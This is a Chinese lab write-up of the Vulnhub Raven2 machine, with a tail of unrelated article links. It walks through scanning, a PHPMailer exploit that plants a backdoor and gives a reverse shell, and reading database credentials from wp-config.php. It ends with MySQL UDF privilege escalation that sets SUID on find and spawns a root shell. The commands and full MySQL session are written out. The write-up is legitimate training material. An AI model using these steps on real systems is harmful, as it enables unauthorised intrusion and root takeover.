当前位置: 首页 > news >正文

Vulnhub系列靶机---Raven2

文章目录

  • Raven2 渗透测试
    • 信息收集
    • 提权
          • UDF脚本
          • MySQL提权
          • SUID提权

Raven2 渗透测试

信息收集

查看存活主机

arp-scan -l 

image-20231013145244867

找到目标主机。

扫描目标主机上的端口、状态、服务类型、版本信息

nmap -A 192.168.160.47

image-20231013145457797

目标开放了 22、80、111 端口

访问一下80端口,并查看它的组件:

image-20231013150134020

没有发现什么有用的信息

对目标目录进行扫描

sudo dirsearch -u 192.168.160.47 -i 200

image-20231013155218961

也可以使用dirb http://192.168.160.47 进行目录扫描:

image-20231013163507385

/vendor/PATH 中找到了flag1

image-20231013160821360

拿到了flag1:

image-20231013160844261

/vendor/VERSION 中有一个版本号,这可能是一个软件版本号:

image-20231013161254195

再看 /vendor 目录下,还有几个文件名含有 phpmailer 的文件,如PHPMailerAutoload.php ,可确定 5.2.6 是 PHPMailer 的版本号。

于是使用漏洞利用搜索工具 searchsploit 在 exploit-db 中搜索 PHPMailer 相关的 exp。

image-20231013162158120

选用40974.py.使用cp命令将py文件复制到桌面,并且使用vim编辑器打开

cp /usr/share/exploitdb/exploits/php/webapps/40974.py /home/kali/Desktop
vim 40974.py

image-20231013163703386

image-20231013165915997

运行python代码

python 40974.py

image-20231013165038842

浏览器访问http://192.168.160.47/contact.php生成后门文件

在这里插入图片描述

用nc开启监听并访问http://192.168.160.47/sky.php 获得一个低级的shell

nc -lvnp 4444

image-20231013170123411

使用python获取pty得到交互式的shell

python -c 'import pty;pty.spawn("/bin/bash")'

image-20231013170539852

在根目录下全局搜索flag

find / -name *flag*

image-20231013171922982

看到了flag2和flag3.png

查看flag2:

image-20231013172059098

查看flag3:

image-20231013172207988

查看wordpress的配置文件 /var/www/html/wordpress/wp-config.php

image-20231013172401476

image-20231013172559067

得到数据库账号:root ,数据库密码:R@v3nSecurity

提权

在kali终端下载枚举漏洞工具LinEnum

sudo  proxychains git clone https://github.com/rebootuser/LinEnum.git 

里面有一个LinEnum.sh可执行文件

image-20231013174023923

用python搭建一个简单的服务器来把文件下载到靶机里面

python -m http.server 7788

image-20231013174214325

在靶机上使用wget下载

wget http://192.168.160.12:7788/LinEnum.sh

image-20231013174932732

查看到没有执行权限

image-20231013175104124

需要提权,chmod修改权限后,再./LinEnum.sh执行

chmod +x LinEnum.sh

image-20231013175318988

执行:

image-20231013175558026

查到了数据库的版本信息

image-20231013203219465

数据库版本为5.5.60

UDF脚本

利用脚本

  • https://www.exploit-db.com/exploits/1518

image-20231013191717106

searchsploit -m 1518
cp /usr/share/exploitdb/exploits/linux/local/1518.c ./1518.c
gcc -g -c 1518.c
gcc -g -shared -o 1518.so 1518.o -lc

将1518.so 文件上传到/tmp 目录下

image-20231013221611075

MySQL提权
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile 
create function do_system returns integer soname 
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');
www-data@Raven:/tmp$ mysql -uroot -pR@v3nSecurity
mysql -uroot -pR@v3nSecurity
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 37
Server version: 5.5.60-0+deb8u1 (Debian)Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -ADatabase changed
mysql> create table foo(line blob);
create table foo(line blob);
Query OK, 0 rows affected (0.01 sec)mysql> insert into foo values(load_file('/tmp/1518.so'));
insert into foo values(load_file('/tmp/raptor_udf.so'));
Query OK, 1 row affected (0.00 sec)mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so';
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so';
Query OK, 1 row affected (0.01 sec)mysql> create function do_system returns integer soname 'raptor_udf.so';
create function do_system returns integer soname 'raptor_udf.so';
Query OK, 0 rows affected (0.00 sec)mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+---------------+----------+
| name      | ret | dl            | type     |
+-----------+-----+---------------+----------+
| do_system |   2 | raptor_udf.so | function |
+-----------+-----+---------------+----------+
1 row in set (0.00 sec)mysql> select do_system('chmod u+s /usr/bin/find');
select do_system('chmod u+s /usr/bin/find');
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.01 sec)

image-20231013220804186

此时,/usr/bin/find 就具备了SUID 权限

SUID提权
find 15* -exec '/bin/sh' \;

image-20231013220627431

image-20231013221721916

http://www.lryc.cn/news/191896.html

相关文章:

  • 设计模式-生成器模式
  • Nginx正向代理配置(http)
  • ARMv5架构对齐访问异常问题
  • Go中varint压缩编码原理分析
  • 在IDEA中如何用可视化界面操作数据库? 在idea中如何操作数据库? 在idea中如何像Navicat一样操作数据库?
  • 数据库安全-RedisHadoopMysql未授权访问RCE
  • 辅助驾驶功能开发-功能规范篇(27)-3-导航式巡航辅助NCA华为
  • 探索UI设计|栅格系统的深入分析和应用
  • AI 律助 Alpha GPT 线上实操发布会,重磅发布!
  • 【漏洞复现】安全云平台存在任意文件下载getshell
  • 【JUC】原子操作类及LongAddr源码分析
  • 203、RabbitMQ 之 使用 direct 类型的 Exchange 实现 消息路由 (RoutingKey)
  • 微服务+Java+Spring Cloud +UniApp +MySql智慧工地综合管理云平台源码,SaaS模式
  • QMidi Pro for Mac:打造您的专属卡拉OK体验
  • bindtap和catchtap的区别?
  • IDEA—java: 常量字符串过长问题解决
  • 云原生SIEM解决方案
  • 工艺边与定位孔设计经验规则总结
  • 软件架构设计(业务架构、应用架构、数据架构、技术架构)
  • 我们又组织了一次欧洲最大开源社区活动,Hugging Face 博客欢迎社区成员发帖、Hugging Chat 功能更新!...
  • 学信息系统项目管理师第4版系列26_项目绩效域(下)
  • SQL sever中的索引
  • 多目标鳟海鞘算法(Multi-objective Salp Swarm Algorithm,MSSA)求解微电网优化MATLAB
  • 软件测试之概念篇(需求,测试用例,BUG描述,产品的生命周期)
  • jwt详细介绍
  • 电子笔记真的好用吗?手机上适合记录学习笔记的工具
  • 用 SQL 找出某只股票连续上涨的最长天数
  • Vue 绑定 class 与 style
  • 【微服务部署】九、使用Docker Compose搭建高可用双机热备MySQL数据库
  • HTTP Basic 认证